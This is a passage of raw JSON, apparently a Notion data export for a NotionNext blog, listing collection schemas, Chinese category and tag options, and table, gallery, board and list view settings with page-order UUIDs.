f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"7b11173d-8924-4a09-8897-50956378c0fc":{"value":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","version":1,"name":[["照片集"]],"schema":{"YNJw":{"name":"URL","type":"text"},"title":{"name":"Name","type":"title"}},"format":{"copied_from_pointer":{"id":"4aa08af5-4f04-45fa-ac44-84438e088ba8","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"collection_page_properties":[{"visible":true,"property":"YNJw"}]},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"copied_from":"4aa08af5-4f04-45fa-ac44-84438e088ba8","migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":684,"name":[["Notion Blog"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{">Vd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`<":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"value":{"id":"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a","version":1,"type":"gallery","name":"","format":{"table_wrap":true,"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":276,"visible":true,"property":"title"},{"visible":true,"property":"czdN"}],"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"gallery_cover_size":"large","gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"YNJw"}],"gallery_cover_aspect":"cover","hide_linked_collection_name":false},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"page_sort":["02f024a6-0fd0-4a05-b201-762f56287c1d","e415b262-f6fe-4a10-82fb-e3e3b8a43c9e","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":217,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"